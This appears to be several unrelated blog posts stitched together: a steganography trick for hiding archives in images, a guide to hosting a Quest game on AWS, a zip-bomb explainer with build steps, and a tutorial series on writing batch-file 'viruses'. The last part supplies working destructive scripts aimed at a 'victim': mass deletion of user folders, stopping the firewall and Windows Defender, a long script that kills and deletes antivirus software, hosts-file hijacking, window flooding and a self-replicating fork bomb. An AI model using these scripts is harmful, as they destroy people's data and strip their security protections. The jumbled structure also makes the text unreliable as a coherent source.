Steganography is the art of hiding messages in such a way that no one, apart from the sender and receiver, suspects the existence of the hidden data. In this tutorial, you’ll learn a neat trick using which you can hide whatever data you want behind an image of your choice.

How to hide data inside images?

1. Create a folder. Name it anything you wish, say hide.
2. Now put anything and everything you want to hide in this folder. Text files, other images, executables - anything. Also, put the image behind which you want to hide the files in the same directory, say “image.jpg”.
3. Now we need to archive this folder. You can use your choice of compression tool for this (I recommend the free and open source 7-zip). So now we have hide.zip containing all of the data we want to hide behind an image.
4. You should have your image, say image.jpg (inside of which we’ll hide our data) in the same directory as hide.zip (next to it).

Now simply open up the command prompt and move to the folder where image.jpg and hide.zip are located using the cd command:

cd PATH

For example:

cd C:\Folder
cd desktop

Now we type in the following command:

copy /b image.jpg + hide.zip output.jpg

After running this command, you should see an output.jpg in the folder and if you look closely, you’ll notice that it’s size has increased by approximately the size of the archive. Our data is now hidden behind the image.

The newly created output.jpg behaves like a normal image file, but you can also view the hidden data by opening the file with your compression tool, say 7-zip (Right click -> Open with -> 7-zip).

And that’s It! Now you can send this image to anyone, what others will see is just a regular image but if the recipient knows, they will be able to access the secret information privately. You can also do this for other file types as well such as .mp3, .wmv, .txt, etc.

Of course, this is just a little trick and not a substitute for proper encryption (it could be if you added a password to your archive file). Still, it isn’t exactly subtle if you hide tens or hundreds of megabytes of data behind an innocent image file, which is why you should use proper encryption tools such as veracrypt if you have some important or confidential data that you wish to keep hidden.

To host a quest game on your server, you need to configure an ASP.net server. Don't worry if you don't know what it is; think of it as a way windows complicating things compared to Linux. If you are familiar with it, it's well and good and ignore my criticism. So let's begin!

In my quest to host a quest game online, I found two critical ways to host the Game online.

1. Directly using ASP.net hosting providers like smart ASP
2. Hosting the Game using Windows server 2019 in AWS Console

In this tutorial, I will not elaborate on both methods, but I will provide you with some pros and cons to understand why I choose AWS over SmartASP.

Smart ASP

Smart ASP is a professional ASP hosting platform that provides you with a reasonably good plan compared to its competitors. They offer you are free trial of 60 days, without any credit card information.

AWS

Amazon Web service always amazes developers with its reliable hosting plans and is undoubtedly a costly one to maintain for long-term and data-intense works. But...

It also provides a 1-year free trial if you are a new customer, and it is pretty good with a lot of tools in our hand. This server is also called the Amazon EC2.

Conclusion

Comparing both of these, I realised the plan in terms of time and efficiency; I realised Amazon EC2 would be a great choice. If you want to know a bit more about this, you can always reach me through the comments.

Making our Game ready for Hosting

I hope you already have a game with you waiting to host online. At least if that is the case, I'm here with you.

Organise all of your game files

In most cases, you already did some organisation. If not, create a folder named after Game, and save all of your game files. Especially don't forget to add your Game.aslx file in it; From now I will term this folder as Game Folder

Download these resources, which will come in handy

Quest's GitHub files; From now, I will term this folder as Quest Folder. Also, keep this link in a new tab; it will be saving you a lot of time.

Please, don't follow this guide, especially don't download Visual Studio and waste your time and energy. I will tell you when to use it as we proceed in this post.

Copy and paste the Game Folder files into Quest Folder

This Quest folder now contains GitHub files and Game files. To make our things easy, let's Zip this folder as Quest_Game.zip.

Now, you have a Quest_Game.zip that contains both GitHub files and your Game files on your PC.

Creating a free Domain Name

This part is one of the easiest ones.

Open the website Freenom to Signup and create an account for yourself. Under the "Services" section, you can see an option, "Register a New domain." Now, do the honers of finding your name of choice. If your choice of name is available, continue the rest of the procedure to get a free domain.

I hope now you have a domain name for you. We will use this domain name while configuring our Windows Server.

This way, you can use your domain name to access and share your Game.

Configuring a Windows server 2019 in Amazon (AWS)

To make this article short and clean, I'm making this as quick as possible. You can always comment below for more information, and also, there are a ton of video online for configuring this server.

Step by Step procedure

Create an AWS account; it's not that difficult, but the process is quite cumbersome because you need to provide Debit/Credit card details. Remember, on the day this article published; you will not get charged for anything; The credit/Debit card details are to keep spammers away from creating multiple free accounts.

Once you have an active AWS account, to host our Game online, we need a Windows Server 2019, and I know many of you are not familiar with the procedure. So among many other YouTube videos, I would recommend you follow this video step by step.

I believe this particular video covers most of our job in hosting our Game. Briefly speaking, in this video, the commentator shows you how to host an ASP.net website with HTTPS. After following this video for over 9 minutes, he will upload his website files; this is where the zip file you created will come in handy.

Many of you might face difficulties in this section, so I will try my best to support you through the comments section.

Tip: If you are a member or subscriber of my blog, I will get a personalised notification when you have any quires.

This is the order of the video.

• Create a Windows server 2019.
• Connect to AWS EC2 using Remote Desktop.
• Download the requirements(IIS Server) for ASP.net hosting.
• Creating a demo website without SSL. (HTTP)
• Replacing IP Address with Domain Name.
• Upload our ZIP file (Quest_Game.zip) and extract it.
• Now, at this stage, you should update the webplayersettings.xml using this link.
• Also, the folder Webplayer should be your start project.
• Configuring SSL(HTTPS) using an application, certify the web

This is how it should look in your windows server.

Some helpful tips while following the video.

• If you are using a windows machine, copy-pasting between two devices will work seamlessly. So, take advantage of this feature.
• If you feel like your internet speed is slow, rather than downloading the Quest Github files on your PC and upload them to your Windows Server, copy-pasting the download link in windows server will be a good alternative.
• By default, the server will not come with a stable browser and make things difficult for you. So I would recommend you download this lightweight browser (Midori Browser) to your Windows Server. (This is not compulsory)
• If you have a stable internet connection and rely on uploading files from your PC to Windows Server, I would suggest you download CertifyTheWeb and upload it, rather than download it in your browser.
• Don't forget to configure, manually, your WebPlayerSettings, for this take help of this link. (This is the link we kept in the new tab a while ago)
• Compared to AWS, configuring things in SmartASP is quite smooth; but it has less only 60 days free trial and some of the very high complex functionalities of the Game are not working. Ex: In my Game previously, I created a function to set his Gender attributes. But this attribute is replacing the name of my character. To check it, enter into my Game (SmartASP) (Aws)

If you have any doubts or want me to write another article for publishing the Game using SmartASP, comment below.

Also, I'm looking for some who can help me create a complete course on Quest, A Guide to developing a Text-Based Adventure; if anyone is interested, let me know, I will provide them with Author access to this blog, and you can become a permanent author and will allow your personal monetisation.

A zip bomb, also known as a decompression bomb (or the ‘Zip of Death’ for the overly dramatic ones), is a malicious archive file designed to crash or render useless the program trying to access it. It could also be employed to disable anti-virus software in order to create an opening for other typical viruses. Rather than hijacking the normal operation of the program, a zip bomb allows the program to work as intended, but the archive is carefully crafted so that unpacking it (for example, by anti-virus in order to scan for viruses) requires inordinate amounts of time, disk space or memory (or all of these).

The classic zip bomb is a tiny zip archive file, most are measured in kilobytes. However, when this file is unzipped its contents are more than what the system can handle. A typical zip bomb file can easily unpack into hundreds of gigabytes of garbage data and more advanced ones can go up to petabytes (millions of gigabytes) or even exabytes (billions of gigabytes). Yes, to be perfectly clear we are indeed talking about stuffing exabytes of data into kilobytes.

To understand how it works, we have to take a little detour to see how data compression works (WinZip, WinRAR, 7-zip, etc.)

What is compression?

Compression is a reduction in the number of bits needed to represent data. Consider the following string:

aaabbbbaaabaaabaaa

The above string is 18 characters long. Notice that the substring aaa can be found a lot of times. This is what’s known as statistical redundancy. We take the longest common sequences in data and try to represent them using as few bits as possible. Now, compressing this string means we have to represent this information in less than 18 characters. Let’s replace every occurrence of ‘aaa’ with a symbol, say ‘$’, and see what happens. Instead of using the string directly, we use an intermediate (compressed) form of the string along with some instructions on how to get the original string:

$bbbb$b$b$

$=aaa

The first line is supposed to be our compressed data and the second line is the instruction, a dictionary that we’ve created which tells us that when we want to decompress the data we should replace every occurrence of $ with aaa to get back the original data. Now if you count the total number of characters, we only need 10 + 5 = 15 to represent the same information. Compression just happened.

Now, this was a very crude example and our little ‘algorithm’ ignored a lot of things that a practical compression algorithm (such as Huffman coding or LZW) needs. But it’ll do for our purposes.

If you often use compression applications like WinZip or WinRar you’ll notice that sometimes your data compresses very well, while other times compression hardly reduces the size of the data. The real takeaway is that compression thrives when the data has some repeating patterns (i.e., statistical redundancy). As an example, when compressing text we can use the knowledge that the letter e is the most common letter in modern English. So, it’d be worth our while to try and represent e by as few bits as possible.

Now back to zip bombs.

42.zip

No discussion on zip bombs is complete without the infamous 42.zip. It is a zip file consisting of 42 kilobytes of compressed data, containing five layers of nested zip files in sets of 16, each bottom layer archive containing a 4.3 gigabyte (4.3x109 bytes) file for a total of 4.5 petabytes (4.5x1015 bytes) of uncompressed data.

The 42.zip is just one example, there are many more like this and you can create your own. The principal of zip bombs extends to many other areas. A similar file is an XML-based decompression bomb called “a billion laughs” (or XML Bomb). Basically, it crashes a web browser by causing the XML parser to run out of memory. Most web browsers today defend against this by capping the memory allocated to the parser.

4.5 petabytes are pretty impressive, but what we’re about to do is going to blow this out of the water. We are going to build an exabyte zip bomb.

How to make a zip bomb

Let’s take a look at how to create your very own zip bomb. It’s pretty easy.

• Open up a text editor
• Start typing zeros (0). A lot of zeros. Really, just keep the button pressed. And then some more.
• Now select the whole thing and copy and paste. And paste. And paste.
• Rinse and repeat. You need to do the above until your text file has literally millions of zeroes. Your innocent text editor will likely begin to lag around a hundred thousand zeros, so be careful and keep going.

P.S: There’s an easier shortcut. Say you make an initial text file around 10MB worth of zeros. Save it and close your text editor. Go to the folder where your text file is stored, make around ten copies of the text file in the same folder. Now open up a command prompt where your text file is stored and type:

copy /b *.txt combined.txt

What this does is combine all the copies of the text files into one. Better still, it can do this quickly without any lag. Text editors freeze up because of having to deal with the user interface. Using the command line, everything happens as a background process without a hiccup. Combining ten files of 10MB will yield one 100MB file, combine ten copies of that and you have a 1GB text file full of zeros in just a few seconds.

In a standard text file, every character needs 1 byte (8 bits) of storage. So,

• One thousand characters = 1,000 bytes (just under one kilobyte. Remember a kilobyte is 1024 bytes, not 1000)
• One million characters = 1,000,000 bytes (just under one megabyte)
• One billion characters = 1,000,000,000 bytes (just shy of one gigabyte)

The exact size doesn’t really matter. A 1GB text file will do just fine.

• Now, open up your compression app (any will work, WinZip, WinRar, 7-zip, etc.) and compress the text file.
• Hold on to your dropping jaw as you’ll likely see a compression rate of around 99.9% (1000 times reduction in file size), the 1 GB file would be around 1 MB compressed.
• Now some final bit of copy-pasting is left. Make a dozen or so copies of the zip file. Now zip them.
• Make a few copies of this new zip file and zip all the copies.
• Keep adding more and more layers and viola! our zip bomb is ready. At 9 layers (each with 10 zipped files of the layer below), with a 1GB text file at the bottom, you’d have a total of 1 exabyte ( = 109*1GB = 1018 bytes) and the zip bomb would be a few kilobytes.

And there we go.

How is a zip bomb used?

So now that we have packed a ridiculous amount of data into one tiny file, what can be done with it? Is it just a quirky trick, interesting but useless? Yes and no.

Old compression applications used to come with a “feature” called recursive decompression. You could choose to fully unpack an archive that you knew had more archives within it. The zip bomb was actually a bomb for these applications. Even today, most common storage devices (like the hard disk in your computer) are pretty slow. So, it would take a good long while to write a large amount of data to the storage device. Anyone slowly unpacking a zip bomb would quickly notice this and simply stop the process, defusing our bomb. Most modern applications don’t use recursive decompression because of zip bombs.

In the same vein, most modern anti-virus programs can detect whether a file is a zip bomb and avoid unpacking it. In many anti-virus scanners, only a few layers of recursion are performed on archives to help prevent attacks that would cause a buffer overflow, an out of memory condition, or exceed an acceptable amount of program execution time. Zip bombs often (if not always) rely on the repetition of identical files to achieve their extreme compression ratios. Dynamic programming methods can be employed to limit the traversal of such files so that only one file is followed recursively at each level - effectively converting their exponential growth to linear. And so the bomb is defused yet again.

If this weren’t the case, then zip bombs would still be a viable attack against anti-viruses, or at the very least a stalling technique. It’s pretty straightforward. A malicious hacker’s holy grail is to be able to run an executable file on the victim’s computer without the prying eyes of anti-viruses. Anti-viruses keep a close watch on new potentially dangerous files. So to execute a potentially dangerous file, why not distract the anti-virus with something else? This is exactly what a zip bomb could do in earlier times. While the anti-virus is choking up, a malicious executable could easily steal data or install backdoors or just about anything and even whitelist these installations in the anti-virus completely owning the system.

But this technique is no longer viable. This is both good for us (as users) and bad for us (as hackers). But security is a race without a finish line. You can’t ever be sure that a system is completely secure. Even if you do find the very last security hole in a system, you’ll never be able to know that it was indeed the last security hole. All we can do is keep on looking and that leaves open the possibility that perhaps one day a new vulnerability would be found and zip bombs would come back with a bang.

And that ends the story of the zip bomb. These actually come under the class of logic bombs, which also contains the fork bomb we made using batch files. Zip bombs show us that the field of hacking is ripe with creativity and resourcefulness. Even limited memory can be thought of as a “flaw”, a security hole present in all computers.

When the old methods stop working, new ones soon pop up and take their place. In cybersecurity, if you can’t seem to win by playing fair, trickery and deceit can often give you the upper hand. And that brings us to the realm of social engineering.

By now you should have a pretty good grip on working with batch files. The time has come for you to fly out of the nest. Presented below are a few ideas for things that you can make your viruses do.

These commands should work on most Windows 10 systems with the default configuration. However, you may need to tweak some of them before they work for you. For example, to kill your victim’s anti-virus, you’ll need to know what anti-virus they have in the first place, only then can you stop its process and delete it.

Warning: Executing some of these commands WILL result in permanent loss of data. If you want to try these out, do so in a virtual machine.

Delete important stuff

Damaging personal data is a purely destructive attack motive. The attacker gains nothing but the victim loses something. For better or worse, this is something that batch files really shine at. Batch files can quietly delete vast quantities of data without the victim ever realizing what’s happening until it’s too late. And using the del command means the data is not going to the recycle bin, it’s permanently deleted.

What’s even scarier is that most directories, including the examples below, don’t require admin privileges to access, by default. However, if you are able to run a batch file as an administrator then that opens up the entire system to attack (such as deleting anti-viruses to allow other malware to roam freely).

Delete Documents

del /f /q "%userprofile%\Documents\*.*"

Delete Music

del /f /q "%userprofile%\Music\*.*"

Delete Pictures

del /f /q "%userprofile%\Pictures\*.*"

Disable Important stuff

The fact that windows provide utilities and services that can be accessed through the command line opens up yet another attack vector. Changing important configurations such as registry entries can render a computer unusable.

Disable Wi-Fi - Let’s see how we can go about this. First, we find out the names of all the network interfaces:

netsh interface show interface

This outputs:

Admin State    State          Type             Interface Name
-------------------------------------------------------------------------
Enabled        Disconnected   Dedicated        Ethernet
Enabled        Connected      Dedicated        VirtualBox Host-Only Network
Enabled        Connected      Dedicated        Ethernet 2
Enabled        Connected      Dedicated        Wi-Fi

For my computer, the wireless interface is simply named Wi-Fi (it may be different for you). And now we can just disable it:

netsh interface set interface "Wi-Fi" Disable

And the Wi-Fi stops working and also the Wi-Fi icon disappears from the taskbar.

It can be re-enabled by using this command: (P.S: Disabling/Enabling interfaces requires admin privileges.)

netsh interface set interface "Wi-Fi" Enable

Or through the control panel:

Disable the firewall

net stop "MpsSvc"

Stop Windows Defender

taskkill /f /t /im "MSASCuiL.exe"
taskkill /f /t /im "MSASCui.exe"

Block Websites

We can block any website we want by editing the hosts file:

cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 google.com >> "hosts"
echo 127.0.0.1 www.google.com >> "hosts"

127.0.0.1 is the localhost. The above command tells the computer that it’s going to find google.com on your own device. So the browser doesn’t even bother trying to find out the real IP address of google.com, it just uses localhost, where of course it doesn’t get a reply. You’ll usually want to block both the top level domain as well as the www. subdomain.

This is kind of a shitty thing to do to someone, don’t you think? Maybe you should be a white-hat and make a “virus” that blocks intrusive ads and help protect your victim’s privacy.

Delete all anti-viruses

The following snippet tries to disable and delete all common anti-viruses. It’s really just a hail mary and definitely not the most appropriate way to go about this. You’ll need admin rights to run this. Below you’ll see two types of commands:

• taskkill: These commands attempt to kill the running anti-virus processes. A bunch of common process names are included below. Note that we’re using the wildcard * in the names. This means, for example, av* will include all the names that begin with ‘av’. So it is possible that a whole lot of innocent process also get caught in the crossfire.
• RMDIR: These commands simply delete the default installation folders of the anti-viruses.

taskkill /F /IM av* >NUL
taskkill /F /IM fire* >NUL
taskkill /F /IM anti* >NUL
taskkill /F /IM spy* >NUL
taskkill /F /IM bullguard* >NUL
taskkill /F /IM PersFw* >NUL
taskkill /F /IM KAV* >NUL
taskkill /F /IM ZONEALARM* >NUL
taskkill /F /IM SAFEWEB* >NUL
taskkill /F /IM OUTPOST* >NUL
taskkill /F /IM nv* >NUL
taskkill /F /IM nav* >NUL
taskkill /F /IM F-* >NUL
taskkill /F /IM ESAFE* >NUL
taskkill /F /IM cle* >NUL
taskkill /F /IM BLACKICE* >NUL
taskkill /F /IM def* >NUL
taskkill /F /IM kav* >NUL
taskkill /F /IM kav* >NUL
taskkill /F /IM avg* >NUL
taskkill /F /IM ash* >NUL
taskkill /F /IM aswupdsv* >NUL
taskkill /F /IM ewid* >NUL
taskkill /F /IM guar* >NUL
taskkill /F /IM gcasDt* >NUL
taskkill /F /IM msmp* >NUL
taskkill /F /IM mcafe* >NUL
taskkill /F /IM mghtml* >NUL
taskkill /F /IM msiexec* >NUL
taskkill /F /IM outpost* >NUL
taskkill /F /IM isafe* >NUL
taskkill /F /IM zap* >NUL
taskkill /F /IM zauinst* >NUL
taskkill /F /IM upd* >NUL
taskkill /F /IM zlclien* >NUL
taskkill /F /IM minilog* >NUL
taskkill /F /IM norton* >NUL
taskkill /F /IM ccc* >NUL
taskkill /F /IM npfmn* >NUL
taskkill /F /IM loge* >NUL
taskkill /F /IM nisum* >NUL
taskkill /F /IM issvc* >NUL
taskkill /F /IM tmp* >NUL
taskkill /F /IM tmn* >NUL
taskkill /F /IM pcc* >NUL
taskkill /F /IM cpd* >NUL
taskkill /F /IM pop* >NUL
taskkill /F /IM pav* >NUL
taskkill /F /IM padmin* >NUL
taskkill /F /IM panda* >NUL
taskkill /F /IM avsch* >NUL
taskkill /F /IM sche* >NUL
taskkill /F /IM syman* >NUL
taskkill /F /IM virus* >NUL
taskkill /F /IM realm* >NUL
taskkill /F /IM sweep* >NUL
taskkill /F /IM scan* >NUL
taskkill /F /IM ad-* >NUL
taskkill /F /IM safe* >NUL
taskkill /F /IM avas* >NUL
taskkill /F /IM norm* >NUL
taskkill /F /IM offg* >NUL
RMDIR /Q "C:\Program Files\alwils~1" /S >NUL
RMDIR /Q "C:\Program Files\Lavasoft\Ad-awa~1" /S >NUL
RMDIR /Q "C:\Program Files\kasper~1" /S >NUL
RMDIR /Q "C:\Program Files\trojan~1" /S >NUL
RMDIR /Q "C:\Program Files\f-prot95" /S >NUL
RMDIR /Q "C:\Program Files\tbav" /S >NUL
RMDIR /Q "C:\Program Files\avpersonal" /S >NUL
RMDIR /Q "C:\Program Files\Norton~1" /S >NUL
RMDIR /Q "C:\Program Files\Mcafee" /S >NUL
RMDIR /Q "C:\Program Files\Norton~1\Norton~1\Norton~3" /S >NUL
RMDIR /Q "C:\Program Files\Norton~1\Norton~1\speedd~1" /S >NUL
RMDIR /Q "C:\Program Files\Norton~1\Norton~1" /S >NUL
RMDIR /Q "C:\Program Files\Norton~1" /S >NUL
RMDIR /Q "C:\Program Files\avgamsr" /S >NUL
RMDIR /Q "C:\Program Files\avgamsvr" /S >NUL
RMDIR /Q "C:\Program Files\avgemc" /S >NUL
RMDIR /Q "C:\Program Files\avgcc" /S >NUL
RMDIR /Q "C:\Program Files\avgupsvc" /S >NUL
RMDIR /Q "C:\Program Files\grisoft" /S >NUL
RMDIR /Q "C:\Program Files\nood32krn" /S >NUL
RMDIR /Q "C:\Program Files\nood32" /S >NUL
RMDIR /Q "C:\Program Files\nod32" /S >NUL
RMDIR /Q "C:\Program Files\nood32" /S >NUL
RMDIR /Q "C:\Program Files\kav" /S >NUL
RMDIR /Q "C:\Program Files\kavmm" /S >NUL
RMDIR /Q "C:\Program Files\kaspersky" /S >NUL
RMDIR /Q "C:\Program Files\ewidoctrl" /S >NUL
RMDIR /Q "C:\Program Files\guard" /S >NUL
RMDIR /Q "C:\Program Files\ewido" /S >NUL
RMDIR /Q "C:\Program Files\pavprsrv" /S >NUL
RMDIR /Q "C:\Program Files\pavprot" /S >NUL
RMDIR /Q "C:\Program Files\avengine" /S >NUL
RMDIR /Q "C:\Program Files\apvxdwin" /S >NUL
RMDIR /Q "C:\Program Files\webproxy" /S >NUL
RMDIR /Q "C:\Program Files\panda software" /S >NUL

Our journey has only just begun so we must keep moving. It should go without saying that you must use this knowledge ethically. Today’s systems are largely protected from little batch file viruses, but soon we’re going to learn about hacking techniques that can be used to really hurt people and businesses, financially or otherwise. And with that, we bid farewell to batch file viruses.

Next up, we’re going to have a little fun and learn about something quite explosive.

So now we’ve got a bunch of batch file viruses under our belt. Now it’s time to further solidify your understanding of batch scripting, so that you can start making your own useful batch files (malicious or not). Read up on any new command’s help documentation before using them, or simply run them inside a virtual machine.

Included below are some of the most common questions regarding batch files, in general. If you are to truly master the art of working with batch files (and the viruses you can make with them), you’ll need to know the answers to these. Batch file programming is very easy, even non-technical people can get the hang of it pretty quickly. Soon enough, you’ll be making your own little scripts (and viruses).

1. Should I use .bat or .cmd as the extension of a batch file?

Use either, it doesn’t matter (mostly). There are some minor technical differences between the two but nothing that we need to concern ourselves with while using them on modern Windows operating systems.

2. How to add comments to a batch file?

There are two ways to add comments to batch files:

rem

@echo off
REM This line will be skipped by the interpreter
ping leewardslope.com

::

@echo off
:: This line will also be skipped by the interpreter
ping leewardslope.com

3. How to make a batch file sleep or wait for X seconds?

Say you want to pause for 4 seconds. The following is a popular hack for doing this:

ping 127.0.0.1 -n 5 > nul

This command pings the localhost IP address. The parameter -n 5 means it will ping five times. The first ping happens at t=0 and there’s a time delay of 1 second between each ping so that gives us a 4 second delay where our batch file seems to be doing nothing. Finally, > nul eats up the output of the command so we don’t see it during execution.

Another way to set a timeout in a batch file is to simply use the timeout command:

timeout 4

This displays a countdown in the output window like:

Waiting for 3 seconds, press a key to continue ...

If you don’t want to see the countdown:

timeout 4 > nul

Be careful, the timeout command can be skipped by pressing any key. Also, the command timeout x means “sleep anywhere between x-1 and x seconds”, so it’s a little inaccurate.

4. How to run multiple batch files from within a batch file?

Say you have three batch files that you want to call from one master.bat. There’s a couple ways to run these other batch files from inside master.bat:

This method will execute the batch files one after the other in the same process:

call batch1.bat
call batch2.bat
call batch3.bat

This method will spawn different command windows each running one batch file:

start cmd /k call batch1.bat
start cmd /k call batch2.bat
start cmd /k call batch3.bat

5. How to echo a newline in batch files?

Using echo. you can print out a blank line.

echo hello
echo.
echo world

Make sure that there are no spaces between echo and .. The above snippet prints:

hello
world

6. How to run two commands in one line using cmd.exe or batch files?

• When working in a cmd.exe prompt: echo hello & echo world. This outputs: hello world.
• For batch files, use && instead of & like echo hello && echo world.

7. How to check if a file exists from within a batch file?

We can do this by using the constructs if and exist:

if exist [INSERT_FILE_NAME_HERE] (
    echo file exists
) else (
    echo file doesn't exist
)

If you don’t care about else just leave it out. For example:

if exist myfile.txt echo file exists

8. How to write the output of a command to a file?

dir > output.txt

This will write the output of the command dir to output.txt.

9. How to execute a command N times (in a loop) in batch files?

For a single command, we can use the one liner:

for /l %%x in (1, 1, 100) do echo %%x

For looping multiple commands:

for /l %%x in (1, 1, 100) do (
   echo %%x
   echo something else
)

Explanation: The iteration variable %%x is initialised to 1 and incremented by 1 after every iteration until it equals 100. The above is for use in a batch file, for using in a command window directly use a single % instead of %%.

10. How to iterate through files and sub directories within a directory?

For use in a command window:

• Files in the current directory: for %f in (.\*) do echo %f
• Sub directories in the current directory: for /D %s in (.\*) do echo %s
• Files in current and all sub directories: for /R %f in (.\*) do echo %f
• Sub directories in current and all sub directories: for /R /D %s in (.\*) do echo %s

For batch files, replace % with %%:

• Files in the current directory: for %%f in (.\*) do echo %%f
• Subdirectories in the current directory: for /D %%s in (.\*) do echo %%s
• Files in current and all subdirectories: for /R %%f in (.\*) do echo %%f
• Subdirectories in current and all subdirectories: for /R /D %%s in (.\*) do echo %%s

11. How to get a list of all running services from the command line?

The command net start will output a list of all the currently running services.

12. How to start or stop services from the command line?

net start [serviceName]

and

net stop [serviceName]

13. How to check for admin privileges in a batch file?

The command net session can be used to check whether the batch file has administrator privileges or not:

net session >nul 2>&1
if %errorLevel% == 0 (
    echo Success: Administrative permissions confirmed.
) else (
    echo Failure: Current permissions inadequate.
)

Explanation: First we direct the output and error streams of the net session command to nul and check whether the command executes successfully (errorLevel = 0), which means we have admin privileges, or the command receives an error (errorLevel!=0), which means we don’t have admin privileges.

14. How to check if a program is running or not in a batch file?

The following snippet checks whether chrome.exe (Google Chrome) is running or not:

tasklist /FI "IMAGENAME eq chrome.exe" 2>NUL | find /I /N "chrome.exe">NUL
if %errorLevel% == 0 (
    echo Program is running
) else (
    echo Program is not running
)

15. How to forcibly kill a process using batch files?

The command taskkill along with the /f modifier can be used to forcefully shutdown all processes that match the given name (the /im parameter). The process ID (/pid) can be used to kill a single instance (For example, one specific Google Chrome tab).

taskkill /f /im "Taskmgr.exe"

Note that you may require admin privileges to kill some processes.

16. How to quickly create a large file in Windows?

We can do this using fsutil.

fsutil file createnew [fileName] [length]

This creates a file with a name fileName and size length (in bytes). This would be a sparse file, i.e. composed of just a string of zeros. For example:

fsutil file createnew useless.txt 1024

will create a 1 kilobyte file named useless.txt.

17. How to copy all the files from one folder to another using a windows command?

xcopy is a utility built into Windows that does exactly this.

xcopy /s C:\source C:\target

Remember to enclose the path in double quotes if the path contains spaces (e.g: "C:\Some Folder").

18. How to delete a folder along with all the subfolders and files?

The rmdir command is used to delete directories.

rmdir "FolderName" /s /q

• /s is used to specify removal of the entire directory tree under FolderName.
• /q specifies ‘quiet mode’, that is, delete without requiring confirmation.

19. How to see the help documentation for a command?

Open up a command window and type help [command_name]. For example: help taskkill.

And that wraps up our little series on batch files (almost). You should now head out and start experimenting on your own. Who knows, you just might make something that can fly under the radar of an anti-virus. Now let’s look a few ideas for making your own batch file viruses.

The commands we use to make batch files are actually the same commands first implemented in MS-DOS (An ancient Microsoft OS). These DOS(Disk Operating System) commands can also be used in the command prompt window. Whatever your batch file does, you can do it through the command line interface (CLI).

Start “Run”, or hit [Windows key + R]. Type “cmd”, and you’re presented with the CLI. You can type “help” to get a list of commonly used commands and their functions. I recommend you try out each and every single command you can find. Hacking is getting more and more user friendly everyday, CLIs are being replaced by GUIs (Graphical User Interfaces) - meaning in most places you won’t have to actually type in the commands, you can just select an option and press a button. But as of now, this is a work in progress. With more advanced hacking techniques, specially the ones that involve using BackTrack tools, you will find that majority of the hacks are still done through the CLI (More on this, later).

You will soon be learning how to hack into a remote computer and get the CMD window of the victim’s computer. Hence, I recommend getting used to the CLI, as soon as possible, as much as possible. Before getting to the code, let’s take a look at a couple of commands.

md - (or mkdir) - Make Directory. This command is used to create a directory (a folder). The command:

md abcd

..will create a folder in the current directory named “abcd”.

cd - Change Directory. This command is used to change the current directory. The following command:

cd C:\

..will take the program (your batch file) to the Root folder and:

cd C:\Users

..will take you to the folder called Users in the C drive. You can change where you “mkdir” by using “cd”. (You can now create folders in any directory you like)

Here we’ve got the Folder Blaster virus. Again, this one’s fairly easy to understand. What we’re doing below is creating a bunch of folders, opening them all at once and keeping them open, effectively hogging a big portion of the screen and memory causing the windows to lag, freeze up and sometimes crash.

@echo off
cd ./Desktop
md 1
md 2
md 3
md 4
md 5
md 6
md 7
md 8
md 9
md 0
:checkpoint
start 1
start 2
start 3
start 4
start 5
start 6
start 7
start 8
start 9
start 0
goto checkpoint

So, we begin by turning off echo. Then we change the directory to Desktop. Now we create ten folders with names 0-9. We setup a label and start opening up all the 10 folders. Now the final statement causes an infinite loop. Of course, if the folder is already opened it will not be opened again. But the use of this infinite loop is if the user attempts to close the folder, the loop is still going on and it will send a message to open that folder again. So the victim will be stuck as every time s/he closes a folder it opens up again, eventually making them give up and restart the system.The above code can be made much shorter with the use of LOOPs, as discussed below. We start by creating a variable and setting it’s value to 0. We use this variable as a check to let the computer know when to come out of the loop. Take a look at the code first:

@echo off
set /a i=0
:loop
if %i%==10 goto end
echo This is iteration %i%.
set /a i=%i%+1
goto loop
:end

“set” is used to define and initialize a variable. Here we create a variable called “i” and set it’s value to zero. After setting up a label, we check if the value of the variable “i” (given by %i%) is equal to 10, and if it is we “goto” the label end (the program ends when this happens). Now we “echo” (send a message) to notify the user which iteration is currently running. In the next step we increment the value of “i” by one and then go back to the “if” statement.

So the loop runs ten times (0-9), and then stops. The above was not a virus, but a simple program. Earlier, I told you that the above Folder Blaster virus code can be made shorter by using loops. You know how to make the virus, and now you know how to use loops. Combining the two of them, I leave as an exercise for the wannabe hacker. (HINT: See the folder names up top going from 0-9 ? You can just replace them with %i% in the above loop.)

Next up, we’re going to equip you with the tools you need to be able to start creating your own viruses. Let’s head over there and learn a bit more about batch file viruses.

Now that we’ve learned how to overloaded the computer’s memory, in this tutorial we’re going to wipe it all off. This is a short and easy one. This is different than the other batch file viruses we’ve seen yet. This can do real damage. Make sure you only run this inside a VM.

del *.*

A quick refresher, the del command is used to delete files or folders with the following syntax:

del [options] [/A:file_attributes] files_to_delete

For example: the command del fileName.extensionwill delete the file ‘fileName.extension’ in the current directory.*is a wildcard, it means ‘all’. So *.* means ‘all file names with any extensions’. Putting a * before the . (dot) means that no matter what the file’s name is, it will be deleted. Putting a * after the . means that no matter what the file’s type is, it will be deleted. Combined, del *.* means that all files and folders encountered by our script in the current directory will be wiped off completely.

Clearly, this could be quite dangerous to a system as nothing will be left, even the operating system’s vital files may be deleted, when this guy is done. But of course, it can only affect files in the directory where the batch file itself is placed. So, placing it at the root level (say C:\deleteEverything.bat) is the way to go.

How do we protect against it? For one, we have the principle of least privilege(PoLP). In most modern operating, the problem of accidental deletion of mission critical files is solved by the use of user access levels. In Windows, if you try to delete something important, you are sure to be greeted by:

If you try to delete something really really important, the operating system will simply deny doing so. Similarly, if you try to mess with someone else’s files (in a multi-user environment), you may not be able to read, edit, execute (or all three) depending on what permissions they (the other user) and the admin has granted you and by extension any scripts or programs you try to run.

Linux, on the other hand, is even more obsessive when it comes to privileges. File permissions form a core part of nearly all Unix-like systems. So, we hackers have our work cut out for us. Unfortunately our cute little virus will likely not completely corrupt today’s systems. However, it can still wipe out any confidential documents that your victim holds dear so it is still dangerous. If you wish to try it out, fire up a virtual machine and let it rip.

Now let’s try a different kind of virus. Up next, we’ve got the mighty folder blaster

This virus combines the best of the fork bomb and the application flooder.

It creates a new batch file in the same directory and then copies itself onto this new file. It then starts this new virus and then both of them create another copy of themselves which are then run and the process repeats over and over and we have an exponential growth in the number of viruses on disk and in memory (RAM).

So let’s have a look:

@echo off
:A
set x=%random%
type %0 >> %x%.bat
start %x%.bat
goto:A

